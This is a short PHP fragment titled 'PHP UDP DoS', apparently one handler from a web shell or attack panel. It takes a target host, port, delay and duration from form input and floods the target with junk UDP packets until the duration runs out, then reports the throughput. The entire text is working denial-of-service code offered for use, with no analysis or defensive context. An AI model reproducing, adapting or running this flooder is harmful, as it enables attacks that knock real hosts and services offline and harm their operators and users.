PHP UDP DoS

elseif (isset($_POST["exec_dosudp"])) {
    set_time_limit(0);
    if (!chkfunc("fsockopen")) exit("Cannot create socket");
    $target = $_POST["text"];
    $port = intval($_POST["text_port"]);
    $dly = intval($_POST["text_dly"]) * 10;
    $dur = intval($_POST["text_dur"]);
    $data = "YOU CANT HAS CUPCAKE!";
    if ($port == 0) exit("Port cannot be 0");
    if ($dur == 0) exit("Durration cannot be 0");
    $indos = true;
    $start = microtime_flt(); $chktime = 0;
    $totalpackets = 0;
    $failcount = 0;
    $junk = $data;
    $junklen = 128-strlen($data);
    for ($i = 0; $i < $junklen; $i++) $junk .= chr(rand(33,126));
    echo "Starting DoS\n";
    echo "Junk: \"$junk\"\n";
    while ($indos) {
        if ($port == 0) $port = rand(1024, 65000);
        $sock = fsockopen("udp://" . $target, $port, $errno, $errstr, 30); //30sec
        if (!$sock) {
            $failcount++;
            if ($failcount > 15) exit("Failed to connect");
            else continue;
        }
        if (chkfunc("stream_set_blocking")) @stream_set_blocking($sock, 0);
        if (chkfunc("stream_set_timeout")) @stream_set_timeout($sock, 30); //30sec
        for ($i = 0; $i < 64; $i++) $totalpackets += fwrite($sock, $junk);
        fclose($sock);
        $chktime = round(microtime_flt() - $start);
        if ($chktime > $dur) $indos = false;
        usleep($dly);
    }
    $speed = round(($totalpackets / $chktime) / 1024, 2);
    echo "DoS complete\n";
    echo "Avg speed: $speed KB/s";
}